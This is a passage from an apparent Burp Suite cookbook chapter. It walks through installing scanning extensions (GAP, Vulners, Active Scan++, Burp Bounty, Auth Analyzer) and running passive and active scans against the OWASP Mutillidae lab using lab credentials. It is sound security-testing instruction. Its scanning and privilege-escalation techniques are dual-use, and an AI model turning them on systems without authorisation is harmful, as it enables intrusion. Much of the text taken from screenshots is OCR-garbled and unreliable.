Items of data within an XML structure Params from links found o
blog_entry
Value of tag attributes within XML structure . callback
GAP Mode: [ Parameters [ Links | b
R cancelUrl
Output options: cancel_url
Include the list of commeon params in list (e.g. used for redirects)? choice

collation_connection
Build concatenated query string with param value | XNLV

Include URL path words in parameter list? | Potential links found - 356 unique:l |__] Show origin endpoint | | In scope only
Include site map endpoints in link list? J/doc pp-win7.pdf .
Jincludes/pop-up-help-context: P git/h .php
[ Auto save output to directory | C:\Users\sunsh\Documents\ Choose... Jincludes/pop-up-help-context hp?, dd-to-your-blog.php
Jfincludes/pop-up-help-context-g; php?pag apture-data.php
Restore defaults Save options COMPLETED .fincludes/pop-up-help-context- redits.php
J/includes/pop-up-help-context- dns-lookup.php
The latest generated query string of all parameters: J/includes/pop-up-help-context: html5-st php
5 Z Jincludes/pop-up-help-context: kiuhgtpi
PathToDocument=XNLVO&RelayState= XNLV18&ToollD=XNLV28,_=XNLV3&action=XNLV4&active= Jincludes/pop-up-help-context e ol 4
XNLV5&add-to-your-blog-php-submit-button=XNLV6&add_imageurl=XNLV7&admin=XNLV&&bl :fmcludes/pop-up-help-c T8 oho
D=XNLVS&blog_entry=XNLV108tcallback=XNLV118&cancelURL=XNLV128 cancelUrl=XNLV138«canc IRicilideR o ek oot b PRp:peg sl v r";n
el_url=XNLV148&choice=XNLV158&collation_connection=XNLV168config=XNLV178consumerUri= .flrlcludes/pop-up-help-co 2 % 9 .
XNLV188csrf-token=XNLV198:db= XNLV208idebug=XNLV218tdeletel ogs=XNLV22&dest=XNLV23 :ﬁncludes/pop-up-help-: o how-og.php
Budestination=XNLV248display=XNLV258tdns-lookup-php-submit-button=XNLV268tdo=XNLV27 Jincludes/pop-up-help-context “’.php
&downloadpath=XNLV28&endpoint=XNLV298ewsUrl=XNLV30&form=XNLV31&forward=XNLV32 ol
Jincludes/pop-up-help-context: poll.php

&forward_url=XNLV338&forwardurl=XNLV34&go=XNLV35&goTo=XNLV36&goto=XNLV37&html=
XNLV38&id=XNLV39&image=XNLV40&images=XNLV41&import_url=XNLV42&initials= XNLV438tis
_author=XNLV44&iv=XNLV458ys_frame=XNLV468Iang=XNLV47&level1HintincludeFile=XNLV48&I

/index php?page=./doc ion/ ilities.php
./index.php?page=captured-data.php

Figure 10.37 - Results found with GAP

11. For the second extension, switch to the Burp Suite Extensions tab. Go to the BApp Store subtab
and find the Software Vulnerability Scanner plugin:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.3 - second_edition_4.burp - license.. — 0O
Dashboard Target Prox Intruder Repeater Collaborator Sequencer Decoder Comparer {0} Sett
Logger Organizer | Extensions | Learn Auth Analyzer Software Vulnerability Scanner GAP
Installed | BApp Store | APls {5} Extensions settings

A\ Total estimated system impact  Low @R

BApp Store
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's -
capabilities. L | search...
Name Installed Rating Popularity Last updated System impact Detail
Site Map Extractor WY — 29 Jan 2020 Low
Site Map Fetcher WYY 4 22 Jan 2015 Low

Software Version Reporter YWY, — 22 Apr 2021 Low Pro extension
Imnm Eulneramrty Scanner v arataratl i ﬁipr 2019 Low Pro extension |

Figure 10.38 - Software Vulnerability Scanner extension
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12. Click the Install button on the right side and select the extension name:

Install

Figure 10.39 - Install button

13. After installing the two plugins, go to the Extensions tab, then the Burp Suite extensions
section. Make sure both plugins are enabled with check marks inside the checkboxes. Also,
notice the Software Vulnerability Scanner extension has a new tab, as follows:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - secont

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Learn | -gbﬁwareifulnerabi'luit'y Scanner | GAP
Installed BApp Store APls Q {:-CD Extensions settings

A Total estimated system impact: | Low D

Burp extensions

Extensions let you customize Burp's be%vinr using your own or third-party code.

Add Loaded Typ Name
Remove Java Software Vulnerability Scanner
: - Java GraphQL Raider
-P Java Burp Bounty, Scan Check Builder
Down Java Burp Bounty Pro

I g Python GAP |
——

Figure 10.40 - New tab

14. Go to the Software Vulnerability Scanner tab and notice the default scan rules along with an
option to supply an API Token type for faster scan speeds:
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Extensions Learn | Software Vulnerability Scanner | GAP

Scan rules Results Options
Software vulnerability scanner
e Match rules use regular expressions to flag software version numbers in server responses.

Uses vulners.com API to detect vulnerabilities in flagged version of software.

API Token

Provide you persanal API token to improve scan speed while using vulners.com api  get token...

Add
https://vulners.com/api/v3/burp/rules Load
Software Regex Alias Type

Jenkins, html <span class="jenkins_ver"... cpe:/a:jenkins:;jenkins cpe
SonarQubes, html <link href="/css/sonar\.cs... SonarQubes software
Moxa, headers Server\s*MoxaHttp(%:/([\... cpe:/h:moxa cpe
Apache Cocoon, headers  X-Cocoon-Version: ((\d.]+) cpe/a:apachecocoon cpe
animate.css, html <link [*>]+(%:/([\d.]+)/)7a... animate.css software

Figure 10.41 - Inside the Software Vulnerability Scanner tab

15. Return to Target | Site map with Mutillidae home page as our target. Perform a lightweight,
less invasive passive scan by right-clicking and selecting Passively scan this branch, as follows:

Dashboard Target ] Proxy Intruder Repeater

Extensions Learn Software Vulnerability Scanner

Site map Issue definitions {0:} Scope settings

Filter: Hiding not found items; hiding empty folders

* O mone Contents
+ [ mutillidae Host

+ v ["e mutillida— e 2
> i/ ' ["® http://192.168.29.128/mutillidae >

| Addt 2

« > [ docun| 0 scope b

' Scan > [

2

2

+ [ frame = =
| Passively scan this branch |

» > [ image

Activelv scan this branch
Figure 10.42 - Scanning the target
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16. Note the additional findings created from Software Vulnerability Scanner. The Vulners
plugin found numerous vulnerable software issues:

sartext submission of password

| [Vulners] Yulnerable Software detected [5]
idae/javascript/ddsmoothmenu/ddsmoothmenu.js
! /mutillidae/styles/ddsmoothmenu/ddsmoothmenu.css
U /mutillidae/styles/global-styles.css

! /mutillidae/javascript/ddsmoothmenu/jquery.min.js

! /mutillidae/javascript/jQuery/jquery.js

Figure 10.43 - Looking for extension findings

Looking at the details of the first finding, note the various links provided to known exploits:

Issues
© Cleartext submission of password
~ (I [Vulners] Vulnerable Software detected [5]
! |/mu'lilIidaef}wasctipt/ddsmoothmenufddsmoothmenu.js|

Advisory Request Response

| [Vulners] Vulnerable Software detected

L ]
Issue: [Vulners] Vulnerable Software detected
Severity: High
Confidence: Firm
Host: http://192.168.29.128
Path: /mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js

Note: This issue was generated by a Burp extension.

Issue detail
The following vulnerabilities for software Perl, headers - 5.10.1 found:

o 13370DAY-D-20407 - 7.5 Exploit - Foswiki MAKETEXT 1.1.7 / 1.0.10 Code
Execution Vulnerability
This advisory alerts you of a potential security issue with your Foswiki
installation. A vulnerability has been reported against the core Perl modul¢
CPAN:Locale::Maketext, which Foswiki uses to provide translations when
{Userinterfacelnternationalization}...

e 55V:60534 - 7.5 Exploit - TWiki MAKETEXT Remote Command Execution
No description provided by source.

« 13370DAY-ID-20000 - 7.5 Exploit - Foswiki 1.0.10 / 1.1.6 Code Injection /
Denial Of Service
Foswiki versions 1.0.0 through 1.0.10 and 1.1.0 through 1.1.6 suffer from

Figure 10.44 — Advisory showing exploits available
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How it works...

Burp Suite functionality can be extended through a PortSwigger API to create custom extensions, also
known as plugins. In this recipe, we installed two plugins that assist with identifying older versions
of software contained in the application with known vulnerabilities.

Creating new issues via the Add & Track Custom Issues

extension

Though Burp Suite provides a listing of many security vulnerabilities commonly found in web
applications, occasionally you will identify an issue and need to create a custom scan finding. This
can be done using the Add & Track Custom Issues extension.

Note

This plugin requires the Burp Suite Professional edition.

Getting ready

Using the OWASP Mutillidae IT application, we will add the Add & Track Custom Issues extension,
create steps revealing a finding, and then use the extension to create a custom issue.

How to do it...

1. Switch to the Burp Suite Extension tab. Go to the BApp Store subtab and find the plugin
labeled Add & Track Custom Issues. Click the Install button:



Creating new issues via the Add & Track Custom Issues extension

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - seco.. — O X

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder {5} Settings

Comparer Logger Organizer Learn Software Vulnerability Scanner GAP

Add & Track Custom Issues

Installed BApp Store APIs @ Extensions settings

Y Total estimated system impact:  Low @RI

BApp Store @
The BApp Store contains Burp extensions that have been written by users of Burp —
Suite, to extend Burp's capabilities, R | Search...
Name Instal... Rating Popu... Lastup... Sys.. Det..

.NET Beautifier Yy 23Jan.. Low AR B o=

403 Bypasser E‘rfif 275ep .. Low Pro.. This extension allows custom scan issue
5GC API Parser fT.-. 1w 235ep ... Low tracked within Burp. Burp adds issues th
Active Scan++ W 24 Nov... Low Pro.. active and passive scans, but does not a

rac om lssues v  vvne— 25Feb .. Low Pro.. to be created or tracked. Custom issues

Figure 10.45 - Add & Track Custom Issues extension

2. Ensure the extension is loaded and enabled in the Extensions | Installed | Burp extensions section:

Installed BApp Store APls {G} Extensions settings

A Total estimated system impact:  Low

{Burp extensions |
Extensions let you customize Burp's behavior using your own or third-party code.
Add Loaded Type Name
Remove
S rack Custom Issues
U hon Add & Track C |
. T Java
Down B Java Load Burp extension
Java
B Java The extension loaded successfully. Any output or error messages gen
Java
B Java
Java Output Errors
- e Add & Track Custom Issues v1.0
- Created by James Morris
Python https: //github. com/JamesMorris-BurpSuite/
Java

Figure 10.46 — Loading the extension
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3. Return to the Firefox browser and browse to the Mutillidae home page.

4. Switch to the Burp Suite Proxy | HT'TP history tab and find the request you just made browsing
to the home page. Click the Response tab. Note the overly verbose Server header indicating
the web server type and version, along with the operating system and programming language
used. This information can be used by an attacker to fingerprint the technology stack and
identify vulnerabilities that can be exploited:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder  {O Sett
Comparer Logger Organizer Extensions Learn Software Vulnerability Scanner GAP

Add & Track Custom Issues
Intercept HTTP history WebSockets history {5} Proxy settings
. Filter: Hiding CSS, image and general binary content

| # Host Method URL Params  Edited Status code
645 http://192.168.29.128 GET /mutillidae/ 200

Request Response

Pretty  Raw  Hex n = Pretty Raw  Hex  Render n =

1 GET /mutillidae/ HTTP/1l.1 1 HTTP/1.1 200 OK

2 Host: 192.1£8.29.128 2 Dates:- Sat 10 Jun 2023 10-03-41 GMT

3 Cache-Control: max-age=0 3 Server: Apache/2.2.14 (Ubuntu)

4 Upgrade-Insecure-Bequests: 1 mod_mono/2.4.3 PHP/S.3.2-lubuntud. 30

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; with Suhosin-Patch proxy html/3.0.1
VinE4; x€4) AppleWebKit/537.36 (KHTML, mod _python/3.3.1 Python/2.€.5
like Gecko) Chrome/114.0.5735.110 mod_ssl/2.2.14 OpenSSL/0.9.8k
Safari/537.36 Phusion_Passenger/4.0.38 mod perl/2.0.4

& Accept: Perl/v5.10.
text/htnl,application/xhtml+xml, applicatio ~-Powered-By: 5 B
n/xnl;q=0.9, image/avif, image /webp, inage/ap 5 Logged-In-User:

Figure 10.47 —Issue to create
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5.  Since this is a finding, we need to create a new issue manually to capture it for our report. While
viewing the Response window, right-click and select Extensions | Add & Track Custom Issues

| Add & Track Custom Issue, as follows:

GET /mutillidae/ 200 46089 HTML
a== .
Response o0
o = Pretty Raw Hex Render B n = 1
1 HTTP/1.1 200 OK 3
2 Date: Sat, 10 Jun 2023 10:03:41 GMT =
3 Server: Apache/2.2.14 (Ubuntu ntud.30 with Suhosin-Patch proxy html/3.0.1 =
mod_python/3.3.1 Python/2.€.5 Scan » Phusion_Passenger/4.0.38 mod_perl/2.0.4
dows NT Perl/v5.10.1 .
t/537.3€ 4 X-Powered-By: PHP/S.3.2-lubun Do passive scan
5 Logged-In-User: Do active scan
/537.36 € Vary: Accept-Encoding
7 Content-Length: 45870 Send to Intruder Ctrl+l
xml,appl 2 Comnection: close
(image/w % Content-Type: text/html Send to Repeater Ciri+R
lication 10 Send to Sequencer
11
28/ 12 Send to Comparer
te 13 <!DOCTYPE HTML PUBLIC "-//W3C Send to Decoder i
"heep: //waw. w3, org/TR/1995/FE )
14 <html> Send to Organizer Ctrl+0
v_level= 15 <head .
16 <link rel="shortcut icon" Show response in browser Ppe="image/x-icon" />
Request in browser >
17 <link rel="stylesheet” ty] m
. 17 Ghtok rel-Tarylesheer o m > e us)>  [AIGE Track Castom 55t |

Figure 10.48 - Creating a custom issue

6. A pop-up dialog box appears. Within the New Issue tab, we can create a new issue name of
Information Leakage in Server Response. Change the severity to Medium. Notice how the
extension copied our request and response for us in the bottom panels. You may continue to
add more verbiage in the other text areas, such as the issue detail, background, and remediation
areas. Click the Add & Track Custom Issue button at the bottom when you are done:
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Add & Track Custom lssues X

New lssue Issue Selection

Issue Name: Severif Confidence Protocol Port
Ilnrlormaﬁon Leakage in Server Respons; ” Medium ~ i ‘ Certain v ‘ HTTP v |‘ 80 |

Host

| 192.168.29.128 ||| Jmutillidae/

Issue Locati
|

| http://192.168.29.128:80/mutillidae/

1 Detail I Back
Issue Detail Issue Backg

o . o
Detail g

text/html,applicati html |, applicati 0.9,image/avif,i p,image/apn <tr>
9.%/%:q=0.8,application/signed-exch b3;q=0.7 <td>

Referer: http://192.168.29.128/ <a title="Usage Instructions”
Accept-Encoding: gzip, deflate href=".findex.php?pag ge-i ions.php">

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 <img alt="What Should |
Cookie: showhints=1; security_level=0; PHPSESSID=v2iieab3vvghsnjnen08rrfrg5; Do?" align="middle" src="./images/question-mark-40-61.png" />
acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada What Should | Do?
Connection: close <fa>

Il Add & Track Custom Issue I

Figure 10.49 - Setting the name and severity

7. Once completed, switch back to Target | Site map and select the root directory for Mutillidae.
You should see the newly created scan issue added to the Issues window, as follows:

Dashboard Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions
Software Vulnerability Scanner GAP Add & Track Custom Issues

| Site map I Issue definitions @ Scope settings

Filter: Hiding empty folders

—= [ mono Contents Issues

—= [ mutillidae Host Method URL Params O Cleartext submission of password
> @ [Vulners] Vulnerable Software detected [5]

> Eh/ http://192.168.29.128 GET /mutillidae/images/aja...

Figure 10.50 - Seeing the custom issue you added

8. The Add & Track Custom Issues extension provides a new tab allowing you to add issues to
the internal database. This is a value-added feature, so it is not necessary to add your issues in
this tab to use the tool. However, the option is available if you would like to build your own
list of custom issues:
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! Software Vulnerability Scanner GAP Add & Track Custom Issues

F**WARNING: The table has been updated since the last export. ™

| Add Issue | Export Issues To CSV Import Issues From CSV
Delete Issue Export Issues To JSON Import Issues From JSON
*** WARNING: The table has been updated since the last export. ***
Issue Name Severity Type Issue Detail Issue Background R diation Detail R diation Background
Cleartext Submission Of Password High Default A Cleartext Submission Of Passw... Some applications transmit passw... Applications should use transpor...
Cross-Site Scripting (XS5) - DOM-Based  High Default ~ A DOM-Based Cross-Site Scriptin... DOM-based vulnerabilities arise w... The most effective way to avoid ...
Cross-Site Scripting (XSS) - Reflected High Default A Reflected Cross-Site Scripting (.. Reflected cross-site scripting vuln... In most situations where user-co...
Cross-Site Scripting (XSS) - Stored High Default A Stored Cross-Site Scripting (XSS... Stored cross-site scripting vulnera.., In most situations where user-co...

Figure 10.51 — Database of issues

How it works...

In cases where an issue is not available within the Burp Suite core issue list, a tester can create their
own issue using the Add & Track Custom Issues extension. In this recipe, we created an issue for
information leakage in server responses.

See also

For a listing of all issue definitions identified by Burp, go to https://portswigger.net/kb/
issues.

Working with the Active Scan++ extension

Some extensions assist in finding vulnerabilities with specific payloads, such as XML, or help to find
hidden issues, such as cache poisoning and DNS rebinding. In this recipe, we will add an active scanner
extension called Active Scan++, which assists with identifying these more specialized vulnerabilities.

Note

This plugin requires the Burp Suite Professional edition.

Getting ready

Using the OWASP Mutillidae II application, we will add the Active Scan++ extension, and then run
an active scan against the target.

How to do it...

1. Switch to Burp Suite’s Extensions | BApp Store tab and select the Active Scan++ extension.
Click the Install button to install the extension, as follows:


https://portswigger.net/kb/issues
https://portswigger.net/kb/issues
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Burp Project Intruder Repeater Window Help  Burp Suite Professio

Dashboard Target Proxy Intruder Repeater Colla

Comparer Logger Organizer | Extensions I Learn

Add & Track Custom Issues
Installed BApp Store | APIs {G} Extensions settings

Y Total estimated system impact:  Low @D

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite
Burp's capabilities.

Name Instal... Rating Popu.. Lastup... Sys.. Det..
NET Beautifier WWW 23Jan .. Low
403 Bypasser Wy 27 Sep ... Low Pro..

5GC API Parser w1 23Sep ... Low

Figure 10.52 — Active Scan++ extension

2. Return to the Firefox browser and browse to the Mutillidae home page.

3. Switch to Burp Suite’s Target tab and then the Site map subtab, right-click on themutillidae
folder, and select Actively scan this branch, as follows:

-1 v [Ne mutillidae http://192.168.29.12
o> @/ @ http://192.168.29.128/mutillidae
e > [T docu Add to scope
[—e D frame Scan >
> [ image Passively scan this branch
= > [ includ I ;mn = rane l I

Figure 10.53 - Scanning the target

4.  After the active scanner completes, browse to the Issues window. Make note of any additional
issues found by the newly added extension. You can always tell which ones the extension found
by looking for a This issue was generated by the Burp extension: Active Scan++ message,

as follows:
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© | Arbitrary host header accepted |

Advisory Request 1 Response 1 Request 2 Response 2

o Arbitrary host header accepted Compare responses
Issue: Arbitrary host header accepted

Severity: Low

Confidence: Certain

Host: http://192.168.29.128

Path: /mutillidae/index.php

Note: This issue was generated by the Burp extension: Active Scan++.

Issue detail
The application appears to be accessible using arbitrary HTTP Host headers.

This is a serious issue if the application is not externally accessible or uses IP-based access
restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions
that may be in place, by proxying through their target's browser.

Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The
only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835#%c13

Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending
a Host header of 'localhost'. Resources:

Figure 10.54 - Issue from the extension

How it works...

Burp Suite functionality can be extended beyond core findings with the use of extensions. In this
recipe, we installed a plugin that extends the active scanner functionality to assist with identifying
additional issues such as arbitrary header injection, as seen in this recipe.

Using Burp Suite extensions for bug bounties

As bug bounty hunters, you will find handy tools to identify possible bugs more easily. There are many,
but the two we will look at in this recipe are the Burp Bounty, Scan Check Builder and Auth Analyzer.

Note
Burp Bounty, Scan Check Builder requires the Burp Suite Professional version.
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Getting ready

Both recommended extensions for bug bounty hunting can be found in the BApp Store subtab. We
will download and install them within our Burp Suite instance. Then, we'll see how to use each to

potentially uncover bugs for payouts!

How to do it...

1. Inside Burp Suite’s Extensions | BApp Store tab, select Burp Bounty, Scan Check Builder and

click the Install button. Then, select Auth Analyzer and click the Install button:

Dashboard Target

Prox

Logger Organizer Extensions Learn Software Vulnerability Scanner GAP
Installed APls {S} Extensions settings

AV Total estimated system impact:  Low CHE—

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's
capabilities.

Intruder Repeater Collaborator Sequencer

Decoder
Add & Track Custom Iss

,O Search...

Rating Popularity =~ Last updated

Wity ——1 20Dec2022

YrErerirTr ———— 08 Mar2023
AuthMatrix ety —4 15 Oct 2021
Authz Wiy ——— 01Jul2014
Auto-Drop Requests ey — 10 Feb 2022
AutoRepeater Wiy Yy ——+— 06Jun2023
Autorize wEwwYy —1 06Jun2023
Autowasp Lrirvriryr ——— 10Feb 2022
AWS Security Checks wrvrveryr — 18 Jan 2018
AWS Signer Wiy ———— 08Jun2022
AWS Sigvd Wiy — 16 Feb 2022
Backslash Powered Scanner WY ——+— 18 May 2023
Backup Finder wrerryr —4 04 Aug 2022
Batch Scan Report Generator rirvririr ————— 04 Feb 2022
BeanStack - Stack-trace Fingerprinter Wy — 04 Feb 2022
Blazer Wiy +——— 01Feb 2017
Bookmarks wirww 21 May 2020
Bradamsa Wil 4+ 02Jul 2014
Brida, Burp to Frida bridge wirwvrer —i 04 Feb 2022
Broken Link Hijacking il —4—— 23 Ju2019
Browser Repeater wyrvrvrr 4 01Jul 2014
Buby W b 14Feb 2017
BugPoC vrrvrveyr — 22 Jun 2020
W YIYrvriryy ——+—— 04Feb 2022
‘ﬁm vy 4 23 Jan 2017

Figure 10.55 - The two extensions covered in this recipe

System i...

Low
Low
Low
Low
Low
Low
Medium
Low
Medium
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
Low
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2. Switch to the Extensions | Installed tab and ensure both extensions are installed and enabled
in the Burp extensions section:

Learn Auth Analyzer Software Vulnerability Scanner GAP Ad
m BApp Store APls @} Extensions settings

7 Total estimated system impact:  Medium @R—

Burp extensions

Extensions let you customize Burp's behavior using your own or third-party code.

Add Loaded Type Name
Remove Python Add & Track Custom Issues
: Java SSRF Headers WorkArea
Up Java Software Vulnerability Scanner
Down Java GraphQL Raider
% Java Burp Bounty, Scan Check Builder |
hon GAP
Python Active Scan++

Figure 10.56 — Extensions installed and enabled

3. Notice there is a new tool tab labeled Burp Bounty Free. Go to the tab and click the Profiles
subtab. Notice there are several profiles available for the different types of scanners and for
requests and responses. For now, we will use the default settings:
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Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger
Extensions Learn Auth Analyzer Software Vulnerability Scanner GAP Add & Track Custom Issues Burp Bounty Free
Profiles Options About Burp Bounty Pro

Profile Manager

In this section you can manage the profiles.

Filter by Tag | All v
Active Profiles Passive Request Profiles Passive Response Profiles
Add [ Enabled
. BlindRCE
Edit .
BlindSQLi-ContentLength
Remove BlindSQLi-TimeBased
BlindXSS
BlindXXE
CRLF-Attack
CVE-2021-44228_RCE_Log4j_WAF
ErrorSQLi
GitFinder
Linux-Apache2-conf
Linux-mysal-conf

Figure 10.57 — Burp Bounty Free tab

4. Return to Target | Site map, right-click, and select Actively scan this branch. Burp Bounty
will use both active and passive scans (unless you paused them) to find potential bugs:

o~ T muti | http://192.168.29.128
o> @ | [® http/192.168.20.128/mutillidae

A
> @b ca dd to scope

L]

Scan p

*

> [ do
Passively scan this branch

« [bfra - ;
Actively scan this branch
> [Bim .

[ ]

Figure 10.58 — Scanning the target

5. In the Issues panel, look for the BurpBounty keyword in front of each bug the extension
found. This extension provides several areas for you to dig deeper for potential weaknesses:
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! |BurpBounty - Token Founded [20] |

! BurpBounty - APl Key or Token discovered
Password submitted using GET method [2]
© Password field with autocomplete enabled

’l 0 BurpBounty - Missing Security Headers [2]

"7 Password returned in later response
> 8 Cookie without HttpOnly flag set [4]
urpBounty - CookieAttrubute-HttpOnly
! BurpBounty - CookieAttrubute-Secure
> Vulnerable JavaScript dependency [6]
> (3) Open redirection (DOM-based) [6]
> 0 Input returned in response (reflected) [72]
> @@ Cross-domain Referer leakage [23]
> @ File upload functionality [2]
> @ Private IP addresses disclosed [6]
> @ HTML does not specify charset [3]
BurpBounty - Software Version revealed [34]
© BurpBounty - Version in Headers [45]
o BurpBounty - SOL Text Detected [2]
b Path-relative style sheet import [4]
Long redirection response
Frameable response (potential Clickjacking) [3]
HTML3 storage manipulation (DOM-based) [2]
Link manipulation (reflected)
DOM data manipulation (DOM-based) [3]
[Vulners] Software detected [7]
I BurpBounty - Cache-Control [53]
i BurpBounty - CMS Detected [28]
i BurpBounty - Content-Security-Policy [3]
i BurpBounty - ServerBanner [3]

Figure 10.59 — Results of scan

6. Let’s now turn our attention to the Auth Analyzer extension. Auth Analyzer assists in discovering
unauthenticated API endpoints, as well as horizontal and vertical privilege escalation. Notice
there is a new tool tab labeled Auth Analyzer:



370 Working with Burp Suite Macros and Extensions

Dashboard Target Proxy Intrud Repeat: Collaborat: S cer Decoder Comparer Logg

Extensions Learn Auth An alyzer Software Vulnerability Scanner GAP Add & Track Custom Issues Burp Bounty Free

Sessions Filters

® Analyzer Stopped || 0 Only In Scope (Filtered: 25) @
— Only Proxy Traffic @
Exclude Filetypes @
Exclude HTTP Methods @
Settings Exclude Status Codes

" | Exclude Paths €

__| Exclude Queries / Params @

Drop Original Requests

Enter Search Pattern... Search | k4 o Compare View & |} Sync Tabs | Show
Original user]
w ' Method Host Path userl 5o |5

Request Response

Figure 10.60 — Auth Analyzer tab

7. Return to the Mutillidae landing page and log in as admin with a password of admin. Find
the POST request of your login, right-click, and then select Extensions | Auth Analyzer | Set
Parameters Automatically | Create New Session:

705  hitps://192.168.29.128 v 302
a-=
Request Response
Pretty Raw Hex a \n = Pretty Raw Hex Render a \n
1 POST /mutillidae/index.php?page=login.php HTTE/L.1 1 HTTP/1.1 302 Found
2 Host: 192,1€8.29.128 2 Date: Sat, 10 Jun 2023 23:51:47 GMT
3 Cookie: showhints=1; security level=0; PHPSESSID= 3 Server: Apache/2.2.14 (Ubuntu) mod_mono/Z.4.3
v2iieab3vvghsnjnen08rrfrgs; acopendivids=swingset,jotto,phpbbl,rednine; PHP/5.3.2-1lubuntud. 30 with Suhosin-Patch
acgroupswithpersist=nada proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5
4 Content-Length: 59 Scan > mod_ss1/2.2.14 OpenS5SL/0.9.8k
5 Cache-Control: max-age=0 . Phusion_Passenger/4.0.38 mod_perl/Z.0.4
& Sec-Ch-Ua: Do passive scan Perl/vs.10.1
7 Sec-Ch-Ua-Mobile: 20 Do active scan 4 X-Powered-By: PHP/5.3.2-lubuntud.30
& Sec-Ch-Ua-Platform: "" 5 |Set-Cookie: username=admin
9 Upgrade-Insecure-Requests: 1 Send to Intruder Ctrl+ £ Set-Cookie: uid=1
10 Origin: https://192.168.29.128 7 Location: index.php?popUplotificationCode=AUL
11 Content-Type: application/x-www-form-urle Send to Repeater Curl+R ¢ Logged-In-User: admin
2 User-Agent: Mozilla/5.0 (Windows NT 10.0: Send to Sequencer S Vary: Accept-Encoding
AppleWebKit/537.36 (KHTML, like Gecko) Ch Send to Comparer 10 Content-Length: 50420
Safari/537.36 P 11 Connection: close
13 Accept: Send to Decoder 12 Content-Type: text/html
text/htnl,application/xhtml+xmnl,applicati ) 13
webp, image/apng, */*:q=0.8,application/sig Send to Organizer Ctr+0 14
14 Sec-Fetch-Site: same-origin Show response in browser 15
15 Sec-Fetch-Mode: navigate 16 <'DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
16 Sec-Fetch-User: 21 Request in browser > Transitional//EN"
17 Sec-Fetch-Dest: document c 1999/REC-html401-19991224/
15 Referer: hteps://192.166.29,128/mutillida leensions > _Add & Track Custom sues > ™/
19 Accept-Encoding: gzip, deflate Engagement tools b m > Repeat Request (1)
20 Accept-Language: en-US,en;q=0.9,en-CA;q=0
21 Connection: close Copy URL ' l Set Parameters Autol ly ‘
;' 1 Copy as curl command (bash)
username=adminspassword=adminglogin-php-s
¥ Copy to file <link rel="stylesheet™ type="text/css" href=

Figure 10.61 - Sending an admin request to Auth Analyzer
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8. Now, log out as admin. Log in to the application as ed with a password of pentest. Send
the POST request of your second login to Auth Analyzer with a right-click, and then select
Extensions | Auth Analyzer | Repeat Request (1):

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions
Software Vulnerability Scanner GAP Add & Track Custom lssues Burp Bounty Free

Intercept I HTTP history WebSockets history @ Proxy settings

| Filter: Hiding CSS, image and general binary content

# Host Method URL Params  Edited  Statuscode Length MIME type
774 https://192.168.29.128 GET /mutillidae/index.php?popUpNotificationCode=AU1 v 200 46568  HTML
™ tpmnissn  [POST Jmiblidecndes phoTpases g | v = e
Request Response
Pretty Raw Hex a W = Pretty Raw Hex Render
1 POST /mutillidae/index.php?page=login.php HTTP/1.1 1 HTTP/1.1 302 Found
2 Host: 192.168.29.128 2 Date: Sun, L1 Jun 2023 00:02:17 GMT
3 Cookie: showhints=1; security_level=0; PHPSESSID=v2iieab3vvghsnjnenO8rrfrgS; acopendivids= 3 Server: Apache/Z.2.14 (Ubuntu) mod_mono/Z.4.3
swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada Suhosin-Patch proxy html/3.0.1 mod python/3.3
4 Content-Length: 58 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_
5 Cache-Control: max-age=0 Scan > X-Powered-By: PHP/S.3.Z2-lubuntud.30
© Sec-Ch-Ua: . Set-Cookie: username=ed
7 Sec-Ch-Ua-Mobile: 20 Do passive scan Set-Cookie: uid=24

& Sec-Ch-Ua-Platform
4 Upgrade-Insecure-Requests: 1
10 Origin: hcttps://192.188.29.128 Send to Intruder Ctrl+|
11 Content-Type: application/x-www-form-urlencoded

Location: index.php?popUpNotificationCode=AUL
Logged-In-User: ed

Vary: Accept-Encoding

10 Content-Length: 50439

Do active scan

WO e

12 User-Agent: Mozilla/5.0 (VWindows NT 10.0; Winéd4; xE4) AppleWeb Send to Repeater Curl-R 11 Connection: close
Chrome/114.0.5735.110 Safari/537.3€ Send to Sequencer 12 Content-Type: text/html
13 Accept: 13
text/html,application/xhtnl+xnl, application/xml:q=0.9, inage/a Send to Comparer 0. 14
8,application/signed-exchange;v=b3;q=0.7 Send to Decoder 15
14 Sec-Fetch-Site: same-origin 16 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HIML 4.0l '
15 Sec-Fetch-Mode: navigate Send to Organizer Ctrl+O "htep: //www.w3. org/TR/1995 /REC-htm1401-195912

J.E Sec-Fetch-Use: 21 Shaw response in browser J.T- <html>
17 Sec-Fetch-Dest: document . 18 <head>
18 Referer: https://192.168.29.128/mutillidae/index.php?page=logi Request in browser 21 18 <link rel="shortcut icon” href="./images/

19 Accept-Encoding: gzip, deflate >
20 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 il Add & Track Custom kesues >

2l Connection: cloge Engagement tools > m >

EF use:nane=edapassuozd=pences:1lagin-php-submi:-hu:r.omLogln Copy URL | 21 <link rel="s Set Parameters Automatically >

. /styles/dd:

Figure 10.62 - Sending a regular user request to Auth Analyzer

9.  Switch to the Auth Analyzer tab and turn the analyzer on. You should see a green dot instead
